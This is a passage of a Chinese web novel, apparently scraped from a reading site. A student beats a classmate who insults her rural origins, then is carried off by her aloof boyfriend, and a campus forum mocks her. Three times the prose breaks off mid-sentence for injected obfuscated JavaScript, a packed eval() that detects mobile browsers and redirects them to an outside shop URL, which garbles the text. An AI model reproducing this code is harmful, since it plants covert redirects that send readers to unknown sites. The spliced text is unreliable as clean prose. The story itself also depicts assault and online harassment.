她颤抖着,手指不住地蜷缩,指节因为用力而泛白。 呼吸短而急促,肩膀压抑着轻微起伏。 到后来,她似乎连挣扎的力气都没有了,手无力地扶住椅背,紧绷中充满了无处躲藏的无助与惶恐。 “……” “或许做事前,你应该考虑一下后果。” 肖序的目光落在她颤抖的睫毛上。 眼角的红色像干涸的血痕。 薛年年下意识睁开眼,那双害怕到极点的眼睛里也已经盈满了雾气: “可,可我考虑过后,什么事都做不成了,我太害怕了,但我不想那个样子……我,我要更勇敢一点——不那样做我就什么都做不到!” “不考虑方法吗?”肖序略微皱眉。 薛年年吞吞吐吐道:“就算办法很笨也要先试试吧……我要先和他搞好关系,他接受了我,才会帮我,其实和他说话的时候我真的很害怕——很难,我也,我也不想让它这么困难。” 薛年年其实一直都不知道该怎么和表哥拉进关系,也不知道等会儿表哥会和她说些什么。 她知道她自己很笨拙,但不去试试就真的什么都做不到了! “可以很简单。” 忽略了她的紧张,声音依旧轻飘飘地在她耳边落下。 大概肖序永远不能体会到她话里的苦恼。 他的语调举重若轻,似乎任何事都不被他放在眼里。 薛年年愣了一下,听到他的话,她不知道为什么忽然感到了生气。 她用力想抽回自己的手,却发现她的手指被按紧在了那枚凹陷的咬痕上。 薛年年瞬间抬起头,望着他永远冷漠的灰蓝色眼睛,气愤道: “又没有其他的办法了,谁还能帮我啊?只有他,只有——对别人来说很简单的事,对于我来说就是很困难,不管怎么样……我总要先去试试!” 达成目的总是要耗费很多很多精力。 都已经那么辛苦了……肖序竟然还要管她用什么方法吗? 薛年年的脸颊被气得通红,像是还没退烧。 太犟了。 肖序无法理解。 她永远在害怕,又永远在强迫她自己去做“不可能”的事情。 他早就说过,放弃或者找正确的人求助,才是合理的选择。 肖序灰色的瞳孔逐渐收紧:“所以你还是要去见他?” “当然!”薛年年立刻回答。 在极近的距离里,她声音落下的瞬间,那双冷色调的瞳孔无法抑制的,细微地震颤了一下。 那震颤微小得近乎不可见,薛年年却敏锐地察觉到了,如同惊醒。 她反应过来,刚刚她似乎像在网络上一样,在下意识朝“肖序”发脾气。 明明他们线下关系不算太近—— 薛年年用另一只手捂住自己的脸,不敢再看他近在咫尺的眼睛:“好近啊……” “没有很近。” 肖序面无表情道,“是正常的社交距离。” “是,是吗?”薛年年愣了一下。 下一秒,她又反应过来,脸瞬间红透了:“才不是,只是你认为的而已!” 这家伙又在装是吧! 擦边主播的常识难道和正常人不一样吗??? 肖序刚刚那副样子真的很像“营业病”又发作了。 薛年年生怕他下一句突然就冒出来让她去骑他。 “不要误导我,我本来就不太懂这些……你还要故意骗我吗?很讨厌!”薛年年的小臂用力抵住他的肩膀。 “讨厌?” 肖序稍微离远,似乎不能理解她和昨天截然相反的态度,“从没有人这么说过。” “可能只是没当着你的面说。” 薛年年都在网上骂过他多少次了,这家伙甚至会觉得被骂很爽吧……受不了! “很讨厌!” 薛年年又重复了一遍。 “……” 伤口结痂的地方被她摩挲得发痒。 肖序的侧脸浸在半明半昧的光影里,过了一会,他缓缓松开她的手腕。 时间到了。 错过机会就没有第二次。 无法理解。 就像是成瘾般,她对那个人太执着了。 如果她只依靠欲望行动,最终只会导向惨痛的后果——这是无可回避的。 肖序对此太过熟悉。 污浊的猩红色溅落在他的视网膜上。 尸体在面前逐渐腐烂……刀,眼泪,染血的琴弦。“咚”,被割开的头颅掉落在地板上,“骨碌……”滚动,撞在墙角——他依旧睁着眼。 暴风雨前夕的宁静撕扯着空气。 她的发梢萦绕着甜香,已分不清是药剂糖浆的香气,还是尸体腐烂的气息。 手背上的青筋微微凸显,肖序的手指握紧,又松开。 如果继续,后续只会是恶性循环。 所有人都会被他亲手剜离。 “我走了。”肖序起身,直接离开。 薛年年看到他冷漠又决绝的背影,更是无法理解:“你要走就走嘛!” 或许肖序这种天之骄子就是什么都能轻易做到。 他白天上学兼职,晚上还能直播擦边到深夜——他做什么都能做得很好! 这种能24小时连轴转的超人生物离她太远了。 肖序觉得一切都很轻松,那只是对他而言! 正常人也要生活,也会想要毕业啊! 薛年年觉得他真是站着说话不腰疼,她不用轻松的方法难道是因为她不想吗? 能力有限啊! 除了找表哥帮忙,她还能有什么办法?拿张地图在A市到处乱转,就能找到柳思睿的家了吗?荒谬! 和他没什么好说的! 昨天刚拿到肖序的私人联系方式,还和他谈上了恋爱,今天竟然就吵架了! 应该是吵架了吧…… 薛年年觉得社交实在太难了。 她看了一眼手机上的时间表,肖序刚刚卡在了时间点的最后一分钟走了,没有多出一点。 这人线下真是自律到变态了! ……不过他在网上的状态也没多正常就是了。 薛年年忿忿地把笔记本扔到书包里,准备去人工湖的假山后找柳思睿。 她没走多久,但等她到时,柳思睿已经在那里等候多时了。 薛年年看到他似乎等得已经有些不耐烦了。 他黑沉着脸,靠在石壁上,地面还摆放有一袋很眼熟的东西。 薛年年愣了愣,走过去问他:“为什么……要把这个东西又带来?” 柳思睿也看见了她,在她靠近的瞬间,他直起身,把薛年年之前送他的告白礼物从地上拿起,直接塞回她手上。 薛年年下意识接住,一脸茫然,听到他说:“还给你,我不要这种东西。” “可,可这是——” “没有可是。”柳思睿打断她的话。 现在是午休时间,人工湖旁零星分布着散步的人群,假山后的位置隐蔽且人迹罕至。 但如果动静太大,偶有人路过,还是能清楚地听到里面的声音吧? 柳思睿决定在被围观之前速战速决。 他皱紧眉,想到昨天在楼梯间被她围堵的经历,还有那些过于巧合的情侣装。 他的脸色越发难看:“喂,变态,你每天没有其它的事情可以做了吗? 书都看完了?报告也都写完了?整天不上课,就在暗地里像只老鼠一样研究我穿什么,选了什么课?” “我和你有什么关系,你就把我的家也当成你的家了?你上学是来玩过家家的吗?” 薛年年张了张嘴,柳思睿却制止她继续输出:“如果我没记错,你老家是在很偏远的乡镇吧?” “废那么大的劲考到A市来,却正事不做,每天就跟在我屁股后面转?我告诉你!跟踪是犯罪,把时间浪费在这种事情上,你对得起养你长大的父母吗?” “父……母?” 仿佛被触动了机关,薛年年茫然的瞳孔突然有了焦距。 她的双手紧握,指尖嵌入掌心,刺痛感让她越发清醒。 “……所以你现在是在看不起我?” “我只是觉得你应该为这一切感到羞耻。”柳思睿厉声道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930870|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她望着面前的人,声音就像冰锥敲碎在大理石上:“你说我的老家——我从哪里考来的和你又有什么关系?” 柳思睿看到面前的薛年年丝毫没有反省的样子,也气得口不择言: “你听不懂我的话吗?做点正事,穷乡僻壤考过来的就要有穷乡僻壤的自觉!” “所以你,想骂我是乡下人?” 薛年年望着面前皮肤微黑,但一看就是养尊处优的富家公子哥说, “生在首都,长在首都……就高人一等了?你有什么资格教训我?” “就因为你没教养,我代你爸妈教——啊!你干什么!!!” 声音被惨叫打断。 将礼物盒甩到他头上,薛年年一脚踢上他的膝盖,用包装坚固的铁质礼品盒把他的后脑敲得梆梆响。 机械,重复,一点也不优雅。 但有用。 她用最大的力气,纤细的手臂举起铁质礼盒砸在他的后颈,痛呼和惨叫声随之而来,伴随着抽气,薛年年没有停下。 不是说她没教养吗? “那你告诉我什么叫有教养?”薛年年面无表情地望着他。 对,她的父母是从来没教过她该怎么待人接物,或许他们自己都不会。 但那又如何? “因为我不具备你认为的‘教养’,就要专门把我叫来……教训我?” 她的瞳孔像是在燃烧,“我穷,我不够聪明,我来自乡镇——但我接受过九年义务制教育” “以艰苦奋斗为荣,以愚昧无知为耻,记得吗?” 她以前在小镇是什么都不懂。 但现在她一直在学习新知识,在了解,这是该被人嘲笑的事情吗? “咚!” 铁质的尖端砸过去,柳思睿的额头被砸得乌青一片,皮下渗血。 “啊,流血了。”薛年年仿佛才反应过来,小声叹气,似乎觉得有些可惜。 她停下动作,瞳孔中倒映着他震惊的表情: “现在你想怎么做?还手……可是很没教养的行为。” 柳思睿无声地张了张嘴,血流到他的眼皮上,他下意识说:“打人也是犯法的!” “那你要去告我吗?”薛年年歪了一下头。 “……你怕了?” “我怕啊,一直都怕。”薛年年实话实说。 柳思睿觉得她真是个疯子:“那你还打我打得那么用力?” “因为我笨嘛,做事从来不会考虑后果,只考虑有没有用。” 话音落下,薛年年松开手,礼物盒掉在地上,“噗通——”包装压扁。 仿佛失去了所有力气,她深呼出一口热气,小臂酸痛,充血的耳膜逐渐复苏。 她听到了周围逐渐靠近的大量脚步声。 假山后,人工湖边,刚刚争吵的声音和金属敲击的重锤声肯定会吸引来不少想看热闹的人。 可恶…… 薛年年的脸不自觉变热,生理性的恐惧让她后背僵直。 她想要逃跑,但脚下仿佛生根,被注视和围观的恐惧让她动弹不得,眼前不自觉蒙上了湿润的雾气。 薛年年不允许她自己现在哭,至少不能在柳思睿面前。 ……他会回去找他当官的父母告状吗? 故意伤人的确是犯罪。 她的手心被掐出了深陷的痕迹。 在不断靠近的脚步声和周围密密麻麻的议论声中,薛年年感到呼吸越来越困难。 身后被冷汗浸湿。 就在这时,口袋手机铃声突然响起。 这时候除了骚扰电话还有谁会打来? 她用尽最后一点力气,摸进口袋,把通话按掉,对方却又再打了一次。 薛年年咬紧嘴唇,下意识用上了拒绝推销的语气,语调却不自觉带了哭腔: “别打来了,很讨厌!” “……” “又讨厌我了。” 薛年年猛地愣了一下,听筒里再次传来声音:“眼泪要用在正确的地方。“ “我没有掉眼泪!”薛年年下意识反驳。 “是吗。” 肖序说,“误会你了?” “当,当然!” 薛年年把眼眶里打转的泪水憋回去,小声逞强道: “不,那个,你不要给我打电话了,现在周边围过来好多人,人很多,我,我刚刚还把柳思睿的头像西瓜一样敲出血了,那个,那,我——” “嗯。” 声音如刀削竹节般清冽。 不断靠近的嘈杂议论声中,湖水沉静……山石,鸟鸣,仿佛近在咫尺,薛年年听到他说: “回头,我来处理。” 23. 第一次拥抱 “嗒。” 伴随着细微的呼吸,听筒里,空旷的回响被无限放大。 脚步声越来越近,就像敲在她的耳膜上。 似乎有股极为锐利的气流在逐渐迫近,薛年年的后背爬过电流。 “西瓜,还活着吗?” 通话中,肖序随口问道。 死了会稍微麻烦一点,但也只是麻烦一点而已。 “……啊,你说什么还活着?”薛年年听到他的话,表情呆住了。 “一分钟。” 薛年年:“?” 肖序话音落下的瞬间,薛年年的大脑无意识地闪过大量繁杂而混乱的信息: 肖序不是走了吗?他为什么要给她打这通电话?他们之前好像吵架了……这是和好了还是没和好? 他这是要来找她吗?一分钟? 柳思睿额头上一直在冒血哎……故意伤害会让她退学吗? 她的毕业证怎么办,肖序还要和她组队吗?她学不学得懂课现在都是次要问题……她还能回去上课吗?是不是真的要退学? 啊!血血血竟然还在一直不停地流!柳思睿的头—— “啪嗒,啪嗒。” 薛年年强迫自己不要轻易眨眼,盈满了水雾的眼眶却不自觉地溢出眼泪。 电话里,肖序无声叹气:“还要假装自己没哭吗?” “我没有想要哭,是它自己掉出来的……” 薛年年用手背狠狠擦了一下眼角,用力得把皮肤都蹭破了,“你不说刚才那些话我就不会哭!” “……” “那是我的错?”肖序产生了疑惑。 薛年年愣了一下:“也,也没说你有错啊。好像是我自己的问题?” “你没问题。” “真的吗?那为什么我会——对,一打岔我都忘了,刚刚我好像被欺负了……” ……你说什么??? 是他被打了好不好?恶人先告状吗??? 一旁偷听的柳思睿一副见了鬼的表情。 他忍不住插话问:“你这是在给谁打电话?” 听到柳思睿的声音,薛年年瞬间回过神,把听筒捂住,朝他小声吼道: “不关你的事,你混蛋!” “我混蛋?刚刚我说的哪一句不是实话,哎……你别哭别哭——干什么!” 见柳思睿似乎想凑近她,薛年年立刻将掉在地上的礼盒又捡起来,倏地朝他扔过去: “没哭,没有哭!你离我远一点!!” 柳思睿匆忙躲避道:“你以为我很想靠近你吗?我只是看你刚才的样子有点可怜而已……” 薛年年刚才一副垂头丧气的样子,是个人都能看出来她整个人心情极为沮丧。 额前的长发遮住了她的大半张脸,她的肩膀不住地在颤抖,就像是站在大冬天的雪地里一样瑟缩着。 她一直固执地站在原地,什么都不说,就光是啪嗒啪嗒地掉眼泪。 柳思睿一时被她脆弱的表象迷惑,无奈地摸了摸自己的头说: “你要不要睁大你的眼睛看一眼,我的额头都被你敲成什么样了,你还敢朝我发脾气?” 虽说他确实被打了,但薛年年现在这幅弱气的样子……确实一点也看不出来是个恐怖的跟踪狂变态。 柳思睿便直说道:“其实只要你不做那些奇怪的事,我们就可以当朋友啊。” “我才不要和你当朋友!!!” 薛年年的脸瞬间红了,完全是被他气的。 柳思睿见她红着脸的样子像是在害羞,立刻误会了,耳根也跟着变红:“那不当朋友的话——” 总不可能和他爸妈一样吧? 据说当初他老妈第一次到A市来,在工作地点,就把故意出言不逊的他爸捶骨折了。 他爸当年还是个185当兵的壮汉……和他现在身高体重一模一样。 这俩公婆现在可肉麻的很,虽然经常吵架,但看起来总像是在打情骂俏。 等等。 这么说起来……薛年年难道也是在和他打情骂俏吗? 柳思睿的脸止不住地更红了,大脑里蒸腾的热气像要把他的脑浆蒸熟。 不想只和他当朋友吗? 薛年年说话怎么总是这么直接啊!! 不同于以往,这一次,不知道为什么,柳思睿心里莫名也有点荡漾起来。 他从小到大……都没有过这种仿佛春心萌动般的感觉。 薛年年好像真的真的很喜欢他! 他之前说的那些话是不是伤到她了,他说的话很过分吗? 柳思睿的心跳不断加速,神情却愈发恍惚,看起来就像是在出神。 薛年年看他这副仿佛在思索的样子,心里愈发沉重。 这个讨厌的家伙是不是在想该怎么报复她? 是要让她退学吗? 会处分她吗? ……可恶啊,但她不能牵连到肖序吧。 薛年年咬紧嘴唇,立刻松开电话听筒说:“你,你如果要,先别——” “到了。” 阴影从她的头顶笼罩下来。 她整个人被暗色完全包裹住。 薛年年愣了一下,从她接起电话到现在,或许刚好一分钟,肖序就站在了她的身后: “你竟然真的来了……” “我说了,回头就能看见我。”肖序略微垂下眼眸,视线落在她乌黑的发旋, “一句话都没听吗?” 薛年年回过头,觉得有点委屈:“但,但之前你不是说要走了吗?” “如果你没哭,那我确实走了。”肖序知道她肯定会被拒绝。 晚上还留有和她相处的日程。 要是她回去之后又闹脾气,那会花费他更多时间处理。 所以现在解决,是很合理的选择。 他的余光瞥了一眼不远处的“西瓜”。 柳思睿在肖序出现的那一刻,人就已经傻了:“肖,肖序?” ……这又是个什么情况? 肖序怎么会出现在这里??? 刚才和薛年年通电话的人是他吗?肖序竟然会主动给人打电话?薛年年和肖序又是个什么关系? 但不对啊……薛年年不是很喜欢他吗? 她之前给他告白了那么多次,还故意和他穿情侣装,甚至半夜就到教学楼去堵他! 柳思睿的大脑已经混乱了。 刚刚薛年年都还在和他打情骂俏呢!! 肖序来了之后……她就不再看他了吗? 柳思睿心中猛然一沉。 在暗流涌动的氛围里,他察觉到肖序的目光轻飘飘地扫过他的头顶。 如果肖序想下手,他的额头绝对不会只是流血。 他有一万种办法能让他神不知鬼不觉地“消失”,就像当初那两起案子的后续结果一样。 太阳穴突突地跳动着,额头的伤处隐隐作痛。 柳思睿后背冒汗,浑身紧绷,就像下一秒就会遭遇危机,他没忍住往后退了一大步。 薛年年被他忽然的反应吓了一跳。 她回过了神,却完全没意识到气氛已经有所变化。 薛年年仰起头,手指往后戳了戳肖序说:“外面,外面好像有很多人要围过来了,刚刚我听到了他们的说话声音,快走……快走了!” “你在怕什么?”肖序略微皱眉。 薛年年只执着地拽住他,把他的手腕往回拉: “我怕人一多……你的样子太引人注目,我不要跟着被围观,快走——等等!” 似乎又想起了些什么,薛年年停下动作。 “忘拿了。” 她松开肖序,小跑回原地,捡起之前被她砸过去的礼物盒。 柳思睿就站在被压扁的礼盒旁边,见薛年年跑过来,他愣了一下,可就是这么愣神的一瞬间,薛年年就又用铁盒猛甩了一下他的头! “哎哟!” “快跑快跑!!” 不管之后结果如何,反正都打过一次了,也不差这第二次! 薛年年敲完他的头,一只手提着礼盒,一只手拉着肖序赶紧快快跑路。 柳思睿捂着流血的脑袋,傻愣愣地望着自己刚有点春心萌动的对象,和他穿着同色的情侣装,吵完架,打完他—— 然后就拽着肖序跑了。 这个变态又阴暗的小疯子,她究竟什么意思? 她不是很喜欢他吗,怎么还和别人走得那么近?而且她亲近的那个人竟然还是他的死对头肖序! 柳思睿心里莫名不是滋味。 薛年年才不管他怎么想。 等她熟练地避开想看热闹的人群,从偏僻小道绕进林荫深处时,她已经跑得气喘吁吁了。 薛年年停下来,准备先休息一会。 下意识回头看时,却发现身后的肖序一脸木然。 “哎,你怎么了?” 薛年年不知道为什么,莫名觉得肖序瞳孔里都没光了。 “……为什么要跑?” 肖序生平第一次干这种事。 薛年年听到怔了怔,理所当然道:“因为我打人了啊,留在那里不是等他来报复我吗?哦对——你没打人不用跑,那你是想留在那吗?” 肖序:“…………” “我不想。” 他的视线缓缓下移,落在交握的手上。 薛年年立刻反应过来,松开他,猛地往后退了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943100|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步: “抱歉!刚刚只是情急,我真的没有想要冒犯你。” 她紧张地后退,却没注意身后,膝窝狠狠地撞到了路边的长椅上。 薛年年的小腿早已酸痛得在发抖。 这一撞,她下意识就坐下了,但脑子完全没反应过来刚才发生了些什么。 ……她究竟是怎么坐下的? 礼物盒掉到地上,薛年年一脸懵地端坐着,小腿并拢,手规矩地搭在膝盖前,像一只刚从猫爬架上摔下来的猫。 她的表情格外茫然。 肖序望着她被撞得通红的膝窝,无声地叹了口气。 面前的人从指尖到膝盖,皮肤都白得透明。 只要一受伤,伤口在她身上就会异常显眼。 明明看起来像养在温室里的花朵,但她的性格和所作所为,却几乎可以算是在野蛮生长。 肖序缓步走过去,半蹲下来,手轻拍她纤细的小腿说: “抬腿。” 薛年年愣愣地就照做了。 她感觉到冰凉的手指触碰到她的脚踝,有些痒。 薛年年瑟缩了一瞬,仿佛早有预料,下一秒,她的脚踝就被拉回去,固定在他掌心里。 “别动。” 肖序的指尖没有触碰其它地方,检查了几秒她膝盖后擦破的皮肤。 一,二,三——薛年年在心里帮他数了。 她沉默地望着面前的人,半蹲的姿势,从上往下,肖序被睫毛描黑的上目线竟然看起来异常无辜。 薛年年咬紧嘴唇,小声说:“你是不是早就知道……柳思睿很不喜欢我?” 声音中隐含着一点微妙的埋怨。 肖序没有回答,甚至没有抬头,只又轻轻拍了一下她纤细的脚踝说: “这是在朝我撒气?” “我没有乱发脾气,只是——” 【他不会帮你】这种话太隐晦了。 薛年年根本就意识不到柳思睿竟然一直在看不起她。 她有些委屈道:“我觉得你应该直接点告诉我。” “为什么?我以为这是显而易见的事。” 肖序似乎真的在疑惑。 薛年年愣了一瞬,眼睛里弥漫起雾气: “显而易见吗?我怎么一点都看不出来……所以你是不是也在看不起我?我根本就察觉不到嘛,不懂,完全不懂!!” 没有乱发脾气吗…… 算了。 肖序语调平静道:“我不清楚你的想法,但你在发泄情绪还是提出疑问,我能看得出来。” 他松开她的脚踝,缓声道:“但我也可以回答。” “不。我没有看不起你。” 他略微抬头,手指轻轻拂开她额前长长的黑发,指节轻蹭过她的眼角。 “把眼泪擦干净,做该做的事。” “也不用向他证明什么。”过客而已。 肖序不觉得他做得这么明显,薛年年还是什么都不懂: “你应该明白我的意思。” 我,我吗? 薛年年垂着头,脑子里晕晕乎乎的。 昨天她刚发过低烧,半夜还和“肖序”聊了那么久,今天又和表哥闹了矛盾,她已经很累了。 眼角的泪痕被细致地擦干。 薛年年的右眼下意识微微眯起,睫毛轻蹭到了他的指节。 他没有被干扰,动作依旧轻而缓慢。 肖序真的好耐心啊……薛年年发现他好像真的很会照顾人。 她自己擦,只会胡乱地把眼角的皮肤蹭破皮。 ……这就是男朋友的作用吗? 薛年年脑子里现在就是一团浆糊。 男朋友啊…… 那是不是就代表着,现在她也可以像宿舍楼下那些人一样,对肖序做同样的事情? “休息好了——”吗。 尾音被阻断。 肖序还没收回手,面前的人忽然扑进他的怀里,用力抱住他的脖颈。 她的脸颊红得发烫,湿润的热气倾洒在他的后颈,似乎很紧张,她的语调也断断续续: “我,我其实……” 看来明白了。 肖序缓缓放下心。 他的手臂轻揽过她的小腿,起身,想把她从椅子上抱起来。 然而下一秒钟,薛年年就完全醒悟了。 她用力甩了甩脑袋,按住肖序的肩膀,滚烫的侧脸贴到他的下颚上,急忙解释道: “不,不对,我刚刚脑子不清醒!没错——” 她忽然伸手,从口袋里掏出了早就准备好的一百块钱。 薛年年把它塞到肖序的领子里说:“只有这些了,月末了,再多真的没有了!” 24. 第一次跟他回家 “……” 沉默。 “…………” 长久的沉默。 林荫深处,蝉鸣,鸟鸣,空荡荡的环境,空荡荡的口袋,以及空荡荡的脑子。 薛年年之前脑子甩猛了,刚清醒一些,意识就又变得模糊。 她滚烫的侧脸贴在一处冰凉的地方,听到耳边隐约传来声音—— 梗塞,短暂,虽然依旧平静。 “……或许你该解释一下。” 好奇怪,这是肖序在和他说话吗? 怎么和他以前说话的语气好像不太一样。 薛年年呆呆地眨了眨眼睛,睫毛在他的下颚处扫了一下说: “解释?刚才不是解释了吗,月末了哎……真的没钱了。” 她的手指还勾在他领口的缝隙处。 衣料原本与脖颈贴合得无比紧密,然而在锁骨深陷的地方,凌厉的骨骼线条延展开——她摸到了之间的空隙。 薛年年的手指下意识往更深处探了探,使劲把那张红色的纸币硬塞给他。 戳戳戳,再往里戳一点。 薛年年像打地鼠一样把钱往里塞,但忽然,她的几根手指被人捏紧,合拢成一束。 肖序捏紧她的手:“不是这种解释,我是问……理由?” 滚烫的脸颊离开他的下颚,薛年年迷茫地往后退了一点,望向他灰蓝色的眼睛说: “我们之前不是吵架了吗?” “所以?” “我的社交技巧很烂,所以想略过中间步骤,直接用金钱来弥补我们之间的关系。” 肖序:“…………” 面前的人再一次沉默了。 薛年年望着他,疑惑地眨了一下眼。 但猛然间,她又回想起,“肖序”似乎一直自尊心都很强,不然他也不会白天装成这副高冷的样子,晚上才去直播。 他就算缺钱也不会想接受别人的资助吧? 薛年早就料到会有这么一刻,立即说出了她提前准备好的劝说语: “那个,你就收下嘛……有钱多好啊,能住好的地方,吃好吃的东西,还能解决好多问题,心情一好,就不会轻易和别人闹矛盾了。” “你是这么认为的?” “啊,我刚刚说的有哪里不对吗?” “……不。” 只是——过于简单了。 肖序面无表情地将塞在领口的那张红纸抽出,叠好,放回她的口袋里。 他延续之前的动作,起身,将她从椅子上抱起来。 小腿忽然悬空,薛年年下意识抱住他的脖颈,迷茫道:“怎,怎么了,为什么要还给我啊?” 如果的确这么轻易…… “让我来吧。” 薛年年:“?” “略过中间步骤,直接用金钱弥补我们之间的关系。” “……咦?这是我之前说的话,你有在认真听哎。”薛年年有些惊讶。 她的话被认真对待了! 薛年年不自觉将他的脖子抱得更紧,高高兴兴地用滚烫的脸颊蹭了蹭他。 肖序身上冰冰凉凉的……很舒服。 她将脸贴在他伟岸的胸肌上,随着细微的摩擦,她又觉得骨头有点痒,没忍住又使劲蹭了他一下。 蹭完她似乎忽然回过神来,瞳孔逐渐聚焦,却还傻乎乎抬起头问: “我是不是感冒还没好?” “嗯。” 感冒,是肯定的。 她现在不清醒。 只是不知道发烧到了什么程度。 昨天不该放她回去…… “下午请假。”肖序直接道。 薛年年愣了一下,语调迷茫道:“哎?你怎么知道我下午还有课——等等,我记得谁告诉过我,你不是不喜欢有人改变行程吗,那我不要请假!我不想又和你闹矛盾……” “按时上课是约束我的行为,不是在约束你。” 肖序没有多言,只将目光从空气,缓缓移向她微红的眼角。 眼角敏感的皮肤早就被她自己蹭破了,伤口隐隐有些泛红发炎。 如果没有那些繁琐的约束作为提醒—— 现在的他,会做出什么样的行为? 他的目光一滞,顺从心意,将手臂从她纤瘦的脊背绕到大腿下方,搂紧。 轻易将姿势换为了单手,肖序空余下的那只手按向她的眼角,在伤口发炎的地方,微微用力。 “嘶……有点痛。” 薛年年下意识往他怀里躲了躲。 肖序立刻松开,仿佛刚才的一切都没有发生过,他的语调依旧沉静又克制: “听话,我帮你请假。” “不要不要,你骗我怎么办?如果我不去上课,你因此就讨厌我的话,我又看不出来!” ……还在闹脾气。 肖序随手往空中轻轻抛了一下她。 薛年年被吓得赶紧又抱住他的脖子,她看到他一脸的冷漠和严肃,瞳孔中灰蓝色就像手术刀尖幽蓝的刃光。 她吓得浑身紧绷地问:“你刚刚是要把我丢下去吗?!” “是。” “好,好过分啊!!”她缩成一团,头埋进他的胸口当鸵鸟,“那如果我请假……是要去干什么?” “跟我回家。” 薛年年还没能理解他这句话是什么意思。 但就在她意识又烧迷糊了的期间,【校园论坛】里的热帖已经盖了上千层楼—— 【大新闻!!!之前壮阳药告白事件的女主现身了!】 “没错,你没有看错,就是那个震撼我全家的经济学院壮阳药求爱事件! 那件事竟然还有后续你们敢信吗???” “怎么了怎么了,楼主别卖关子啊,什么后续?” “啥事啊,我怎么什么都不知道?” “楼上断网了吗,除了前几天那个白裙子超级大美女的帖子,这学期最火的就是这件事了,我外校的同学都来问过我” “哎哟我去!!那件事竟然还有后续啊!难道是事件的男女主在一起了?” “恰恰相反!” “实则不然!!” “我看未必。” “那我问你——” “靠!楼上几个刚刚也都在现场吗?我也在啊,怎么这么多现场怪?你们都藏哪呢?” “假山后面啊,我旁边的洞里起码缩了八个偷听的,腿都给我蹲麻了!” “……我真求你们了,为了听八卦这么拼吗?” “但是值啊!真值!现场打得那叫一个血流成河,惨不忍睹,尸横遍野,乒乒乓乓!” “啊?打起来了???我记得被告白的男生是经济学院的柳思睿吧,他可是真被丢进军营里训过的,那个体格打起来是要死人的!” “楼上放心,被打得嗷嗷叫的人也是你口中的那个壮汉” “????” “没想到吧.jpg,他头都被打破了,我隐约看到那个女生把他摁在地上捶!” “你们确定没看错?我记得告白的那个女生可瘦了,柳思睿简直是她两个那么壮,这都能被按着打?” “我怎么看到的是把他摁在地上亲?” “?所以究竟亲没亲,来人给个准话!” “亲了吧,相爱相杀,然后鲜血淋漓地接吻,好浪漫哦……” “好像还听谁说过,那个女的一直在跟踪柳哥,不仅偷偷和他穿情侣装,半夜还跑去他家门口蹲过他!” “阴湿女鬼x纯情壮汉,定情信物竟然还是壮阳药,下一秒我就要看到他们俩在床-上激战的本子!” “是体型差哎,我爽了!” “不是强制爱我不看” “谁强制谁?” “当然是阴湿女鬼狠狠爱,4i党有福了!” “楼上是疯子吧,我碰到这么个变态绝对马上报警!” “就是,打人怎么说都是不对的,这种阴间cp都能磕的人什么三观啊?” “磕cp碍着你了,就磕,就磕!” “磕个头,给你档案里写个故意伤害的处分,再把你退学就高兴了” “所以事件的女主角究竟是谁?楼主呢,开了贴不回去哪了?” “来了来了,经过我细致的观察,那个女生就是生命科学系大二的薛年年” “谁?这个人很有名吗,我怎么从来没听说过?” “好耳熟啊,我肯定在哪见过……” “想起来了!!【截图】 是肖序这学期被分到的队友!那个长得又丑,上课还老拖他后腿的女的!!” “我今天亲眼见到她了,真的很恐怖,头发把脸挡着像厉鬼一样……还总是躲在角落里阴森森地偷窥” “送壮阳药这件事做得也很low啊,那种东西对身体伤害很大吧,全是三无产品” “啥?你说她外貌已经这么抱歉了,还连心灵美都没有?” “救命sos,她难道是因为追不到肖序才心理变态了,所以退而求其次去找柳思睿的吗?” “真有可能啊!好家伙,净挑家境好的追,这目的性也太强了!” “什么垃圾,好恶心,离我男神远一点!!!” “放心,你男神纯高岭之花,就没正眼瞧过谁,绝对不会理她这种人的啦” “就是就是,肖序才不会理这种low货!” …… 薛年年什么都不知道,晕晕乎乎地被肖序抱着,走近一辆汽车。 前面的车标她完全不认识。 之前隔很远,薛年年就看到车门旁似乎站了个西装革履的人。 刚到车边,西装男就一言不发地朝肖序鞠了一躬,动作极为恭敬又标准地帮他们打开了车门。 薛年年被他鞠躬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947742|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的动作吓了一跳,还没回过神,肖序就将她放到了后座。 他弯腰进来,沉默地坐到她旁边。 车内非常宽敞,甚至还有冰箱。 大概五秒后。 汽车异常平稳地启动。 西装革履的司机目不斜视。 薛年年乖巧地呆坐在后面,脸烧得通红,意识完全不清晰。 肖序在给她调车上空调的温度,忽然,他感觉到腰间被人戳了戳。 薛年年瞳孔涣散地凑近他身边,眼神迷茫地又问了一遍:“这是,去哪啊?” “我家。” “你家……你家在哪?” “喝水。” 